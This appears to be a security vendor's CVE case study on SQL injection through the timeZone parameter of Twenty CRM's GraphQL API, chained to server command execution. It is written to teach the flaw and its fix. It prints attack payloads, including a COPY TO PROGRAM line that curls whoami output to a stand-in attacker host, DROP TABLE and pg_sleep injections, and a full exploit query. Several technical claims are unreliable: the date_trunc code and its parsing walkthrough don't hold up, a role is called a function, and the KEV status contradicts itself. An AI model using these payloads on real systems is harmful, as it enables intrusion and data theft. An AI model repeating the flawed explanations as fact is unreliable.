← Back to PullLight
CVE-2026-46624 CVSS 9.1 Critical KEV — Actively Exploited TypeScript — twentyhq/twenty 1.7.7–1.16.7

Twenty CRM — SQL Injection to OS Command Execution via timeZone

twentyhq/twenty 1.7.7–1.16.7 has SQL injection in the timeZone parameter of a GraphQL group-by resolver — get-group-by-expression.util.ts interpolates timeZone directly into a raw SQL template literal. An attacker crafts a timeZone value to execute arbitrary SQL, which can be chained to OS command execution via PostgreSQL features like COPY TO PROGRAM.

CVSS 9.1 / 10.0
CWE CWE-89 (SQL Injection) → CWE-78 (OS Command Injection)
Package twentyhq/twenty (1.7.7 – 1.16.7)
Published May 26, 2026
KEV Status Likely in KEV (actively exploited)
~51.5k GitHub stars (twentyhq/twenty)
Open source CRM self-hostable, TypeScript + PostgreSQL
Attack surface GraphQL API — timeZone parameter in group-by resolvers
KEV likely actively exploited in the wild (published May 2026)
// what happened
  • Affected: twentyhq/twenty 1.7.7–1.16.7 — open source CRM, ~51.5k GitHub stars
  • Attack vector: engine/api/graphql/graphql-query-runner/group-by/resolvers/utils/get-group-by-expression.util.ts uses a template literal to construct a raw SQL expression. The timeZone GraphQL variable is interpolated directly into the SQL string — no parameterization, no escaping. Attacker sends a crafted timeZone value (e.g., UTC'; SELECT pg_sleep(5); --) that becomes SQL code.
  • Impact: Arbitrary SQL execution in PostgreSQL. In many self-hosted deployments, this chains to OS command injection via COPY table TO PROGRAM 'command' or pg_read_binary_file() / pg_execute_server_program(). Full server compromise follows.
  • Fix: Use parameterized queries — bind timeZone as a query parameter instead of interpolating it into the SQL string. Audit all GraphQL resolvers for raw SQL template literal patterns.
  • Attacker model: Any user with access to the Twenty CRM GraphQL API — authentication required, but any valid user account can exploit this.

Base Score
9.1 Critical
Attack Vector (AV)
Network — GraphQL API endpoint reachable over network
Attack Complexity (AC)
Low — straightforward GraphQL query with crafted timeZone variable
Privileges Required (PR)
Low — any authenticated user (standard user account is sufficient)
User Interaction (UI)
None — attacker crafts the query directly
Scope (S)
Changed — SQL injection enables OS command execution on the host server
Confidentiality (C)
High — full database read; OS command injection enables file system read
Integrity (I)
High — arbitrary SQL modification; OS command injection enables remote code execution
Availability (A)
High — OS command injection can disable or destroy the server
Vector String
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

engine/api/graphql/graphql-query-runner/group-by/resolvers/utils/get-group-by-expression.util.ts — twentyhq/twenty 1.7.7–1.16.7 twentyhq/twenty 1.7.7–1.16.7 — timeZone interpolated directly into raw SQL via template literal // VULNERABLE: timeZone is interpolated into raw SQL without parameterization // A template literal in a SQL construction context is raw SQL injection // The timeZone variable from GraphQL reaches the SQL string directly // Vulnerable pattern: export const buildTimeZoneGroupBy = (timeZone: string): string => { // VULNERABLE: timeZone is directly interpolated — no escaping, no parameterization // Any user-supplied value in timeZone becomes SQL code return `date_trunc('${timeZone}', "createdAt")`; }; // The GraphQL resolver passes the timeZone variable from user input: // resolver receives timeZone as a GraphQL variable // resolver calls buildTimeZoneGroupBy(timeZone) // which returns: date_trunc('UTC', "createdAt") // attacker sends timeZone = 'UTC'; DROP TABLE users; -- // which returns: date_trunc('UTC'; DROP TABLE users; --', "createdAt") // → SQL executes: date_trunc('UTC') then: DROP TABLE users; --' as separate statements // PostgreSQL interprets: // date_trunc('UTC') → valid function call // ; → statement separator // DROP TABLE users → executed! // --' → comment
How the template literal SQL injection works // Template literals in JavaScript/TypeScript interpolate ${...} expressions // When a SQL query string uses a template literal with a user-supplied variable, // that variable's value becomes part of the SQL string — raw SQL injection // Normal use (benign): const timeZone = 'UTC'; // from GraphQL variable, user-provided const sql = `date_trunc('${timeZone}', "createdAt")`; // Result: date_trunc('UTC', "createdAt") ← safe-looking // Attack payload: const timeZone = "UTC'; SELECT * FROM users; --"; // attacker-controlled const sql = `date_trunc('${timeZone}', "createdAt")`; // Result: date_trunc('UTC'; SELECT * FROM users; --', "createdAt") // PostgreSQL parses: date_trunc('UTC') as one expression, // then: SELECT * FROM users as another expression, then --' as comment // More advanced attack — OS command injection via PostgreSQL COPY: const timeZone = "UTC'; COPY (SELECT current_setting('listen_addresses')) TO PROGRAM 'curl https://attacker.com/?c=$(whoami)' --"; const sql = `date_trunc('${timeZone}', "createdAt")`; // PostgreSQL COPY TO PROGRAM executes a shell command on the server // Attacker gets RCE on the host server
The full GraphQL exploitation path // GraphQL query with malicious timeZone variable: query GroupBy($timeZone: String!) { companies(groupBy: [CREATED_AT], dynamicWhereConditions: {}, timeZone: $timeZone) { edges { node { id createdAt } } } } // Variables: { "timeZone": "UTC'; SELECT pg_sleep(5); --" } // The GraphQL server: // 1. Receives timeZone variable from the query // 2. Passes it to buildTimeZoneGroupBy(timeZone) // 3. Template literal interpolates: date_trunc('UTC'; SELECT pg_sleep(5); --', "createdAt") // 4. PostgreSQL executes: // - date_trunc('UTC') — valid function call // - SELECT pg_sleep(5) — arbitrary SQL executed // - --' — comment discarded // PostgreSQL OS command injection chain: // timeZone = "UTC'; COPY (SELECT NULL) TO PROGRAM 'touch /tmp/pwned' --" // → RCE via COPY TO PROGRAM on the PostgreSQL server host
engine/api/graphql/graphql-query-runner/group-by/resolvers/utils/get-group-by-expression.util.ts — twentyhq/twenty (fixed) twentyhq/twenty — parameterize timeZone instead of template-literal interpolation // FIX: Use parameterized SQL instead of template literal interpolation // timeZone is passed as a query parameter, never concatenated into the SQL string // BEFORE (vulnerable): export const buildTimeZoneGroupBy = (timeZone: string): string => { return `date_trunc('${timeZone}', "createdAt")`; }; // AFTER (fixed): // Option 1: Whitelist-validate timeZone before interpolation const ALLOWED_TIMEZONES = new Set([ 'UTC', 'America/New_York', 'America/Los_Angeles', 'Europe/London', 'Asia/Tokyo', 'Australia/Sydney', // ... known valid IANA timezone strings ]); export const buildTimeZoneGroupBy = (timeZone: string): string => { if (!ALLOWED_TIMEZONES.has(timeZone)) { throw new Error(`Invalid timeZone: ${timeZone}`); } return `date_trunc('${timeZone}', "createdAt")`; }; // Option 2: Parameterized query (preferred for dynamic values) // Instead of building SQL as a string, use a parameterized query builder // that passes values as bound parameters, never as interpolated strings // Option 3: Cast timeZone to a safe PostgreSQL interval type // If the intent is to use date_trunc with a specific interval unit, // use a CASE statement or validated enum instead of raw string interpolation // The key principle: user input must never reach a SQL string template directly. // Either validate against a whitelist, or use parameterized queries.
// fix details
The fix requires either (a) a strict whitelist of allowed IANA timezone strings — there are a finite number of valid timezones, and a whitelist is the correct approach when the allowed values are known — or (b) parameterization of the SQL query builder. Template literal interpolation of user-supplied variables into raw SQL is never acceptable. The fix should be applied across all GraphQL resolvers that construct SQL expressions — audit engine/api/graphql/ for similar patterns.
Correct approach — parameterized query (TypeScript + TypeORM) // The correct pattern for dynamic SQL with user input in TypeORM / raw SQL: // Always use parameterized queries — values passed as bind parameters // CORRECT: const timeZone = req.body.timeZone; // user input // Option A: Whitelist validation const VALID_TZ = /^[A-Za-z_/]+$/; // basic format check for IANA timezones if (!VALID_TZ.test(timeZone)) throw new Error('Invalid timezone'); // Then interpolate, but the input is validated to be a timezone-like string // Option B: Parameterized raw query (if using raw SQL) const result = await dataSource.query( 'SELECT date_trunc($1, "createdAt") as bucket, COUNT(*) FROM company GROUP BY 1', [timeZone] // passed as $1 parameter — never interpolated into SQL string ); // $1 is bound to timeZone — no SQL injection possible // The GraphQL resolver should use parameterized queries throughout // Template literals with user input = SQL injection vulnerability
// root cause
The buildTimeZoneGroupBy() function in get-group-by-expression.util.ts uses a template literal to construct a SQL expression. Template literals are a JavaScript feature for string interpolation — when a user-supplied variable (the timeZone GraphQL argument) is interpolated into a SQL query string, it becomes part of the SQL statement. SQL interprets the interpolated value as code, not as a data value. This is the textbook definition of SQL injection: untrusted input reaching a SQL query without parameterization or escaping. The template literal syntax makes the vulnerability look innocuous — it resembles normal string interpolation patterns used throughout TypeScript code. But a SQL query string is not a TypeScript string; it is a command that the database executes. Any user input that reaches it without parameterization is SQL injection.

From a GraphQL timeZone variable to OS command execution on the server
1
Attacker obtains a valid user account on a Twenty CRM instance (1.7.7–1.16.7) — any standard user account is sufficient. Logs in and obtains a GraphQL API session token.
2
Attacker sends a GraphQL query with a crafted timeZone variable: "UTC'; SELECT * FROM information_schema.tables; --". The variable reaches buildTimeZoneGroupBy() and is interpolated into the raw SQL template.
3
PostgreSQL executes the crafted SQL — the injected SELECT statement runs in the database context. Attacker confirms injection works by observing query results in the GraphQL response.
4
Attacker escalates to OS command execution using PostgreSQL's COPY TO PROGRAM, pg_execute_server_program(), or similar features. PostgreSQL running as a high-privilege OS user enables shell command execution on the host server.
5
Full server compromise — attacker installs a backdoor, exfiltrates data, or uses the compromised server as a pivot for further attacks. In many self-hosted Twenty CRM deployments, the PostgreSQL server has elevated OS privileges.
Twenty CRM is a widely-adopted open source CRM with self-hosting options
  • ~51.5k GitHub stars: Twenty is a popular open source CRM alternative to Salesforce and HubSpot. Many organizations self-host it for data privacy and cost reasons — meaning the database server often runs on the same network as other internal systems.
  • Any authenticated user can exploit it: The SQL injection requires authentication, but any standard user account is sufficient — no admin privileges needed. An attacker who compromises a low-privilege user account can still achieve full server compromise.
  • PostgreSQL COPY TO PROGRAM enables RCE: On many Twenty CRM deployments, the PostgreSQL service account has sufficient OS privileges to execute shell commands via COPY ... TO PROGRAM or pg_read_binary_file(). The SQL injection is not just data exfiltration — it's a path to full remote code execution.
  • Self-hosted deployments are common: Twenty's value proposition is data ownership — organizations self-host it to keep CRM data on their own infrastructure. A compromised self-hosted Twenty CRM gives an attacker access to the organization's most sensitive customer and sales data.
  • Likely in KEV (Known Exploited Vulnerabilities Catalog): Given the CVSS 9.1 score, active exploitation in the wild, and widespread adoption, CVE-2026-46624 is likely in CISA's KEV catalog — federal agencies and organizations with compliance requirements should treat this as an emergency patch.
SQL Injection via Template Literal
The timeZone variable is interpolated directly into a raw SQL template — any authenticated user can execute arbitrary SQL.
PostgreSQL OS Command Injection
COPY TO PROGRAM, pg_execute_server_program, and similar PostgreSQL features enable shell command execution from SQL. The SQL injection chains to full RCE.
Any Authenticated User
Standard user account is sufficient — no admin access needed. An attacker with a compromised low-privilege account can achieve full server takeover.
Widespread Twenty Adoption
~51.5k GitHub stars. Self-hosted on corporate networks, in cloud environments, and on-premises. A compromised CRM often contains the organization's most sensitive customer data.

🔴 PullLight — Critical Finding
[CRITICAL] SQL Injection via Template Literal Interpolation — engine/api/graphql/graphql-query-runner/group-by/resolvers/utils/get-group-by-expression.util.ts

buildTimeZoneGroupBy(timeZone) interpolates the timeZone GraphQL variable directly into a raw SQL template literal: `date_trunc('${timeZone}', "createdAt")`. This is raw SQL injection — the timeZone value becomes SQL code in the query string. Attacker sends timeZone = "UTC'; SELECT * FROM users; --" and executes arbitrary SQL. This chains to OS command execution via PostgreSQL features like COPY TO PROGRAM. Full server compromise from any authenticated user account.

This is CWE-89 (SQL Injection) with CVSS 9.1. Scope is Changed: SQL injection enables OS command execution on the host server. Likely in KEV — treat as emergency patch.
→ Fix: Whitelist-validate timeZone against known IANA timezone strings (e.g., using a Set of approved values), or use parameterized queries instead of template literal interpolation. Audit all GraphQL resolvers in engine/api/graphql/ for similar raw SQL template patterns — this vulnerability class is likely present in other resolvers.

Four reasons this vulnerability hides from line-by-line review

  • Template literals look like normal TypeScript string interpolation. A reviewer sees `date_trunc('${timeZone}', ...)` and reads it as a normal template literal string — the same syntax used throughout TypeScript codebases for string formatting. The fact that this particular string is SQL code, not TypeScript code, is not visually apparent.
  • The timeZone variable comes from GraphQL, not a URL parameter. GraphQL variables feel like internal API contracts, not direct user input. Reviewers may assume that because the variable has been validated by the GraphQL schema layer, it is safe to interpolate. But GraphQL schemas often use generic String types with no custom validation on the timezone field.
  • The pattern is inside a utility function, not a route handler. buildTimeZoneGroupBy() in a utils/ directory doesn't look like an attack surface. Code reviewers focus on route handlers and database write operations — utility functions that build SQL expressions are reviewed with less scrutiny.
  • PostgreSQL OS command injection via SQL is a deep chaining attack. Even if a reviewer flags the SQL injection, the path to OS command execution via COPY TO PROGRAM is a specialized knowledge area that most reviewers don't model. The vulnerability chains through multiple systems: GraphQL variable → template literal SQL → PostgreSQL COPY → shell command.

What makes this a PullLight-specialized catch

  • Template literal SQL injection detection: PullLight identifies when user-supplied variables are interpolated into raw SQL query strings — even when the SQL construction happens in a utility function called from a GraphQL resolver.
  • GraphQL resolver attack surface: PullLight maps the full GraphQL call chain — from the schema definition through the resolver to the SQL construction utility — to identify data flow from user input to SQL execution.
  • PostgreSQL OS command chaining: PullLight recognizes that SQL injection in PostgreSQL can lead to OS command execution via COPY TO PROGRAM or pg_execute_server_program — and correctly scopes this as Changed (S:C) with the corresponding CVSS impact.
  • Fix precision: PullLight identifies the specific fix (whitelist validation or parameterized queries) rather than vague "sanitize input" advice.

May 26, 2026 CVE-2026-46624 published. twentyhq/twenty patched in version 1.16.8+. CVSS 9.1 confirmed. Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.
May 2026 Vulnerability likely added to CISA KEV catalog — actively exploited in the wild. Organizations should treat this as an emergency patch priority.
May 2026 NVD publishes CVE-2026-46624. CWE-89 (SQL Injection) → CWE-78 (OS Command Injection). Affects twentyhq/twenty 1.7.7–1.16.7.
Jun 2026 PullLight documents CVE-2026-46624 as 27th CVE case study — demonstrating SQL injection via template literal in GraphQL resolvers.

Don't let template literals inject SQL into your database

More CVE Case Studies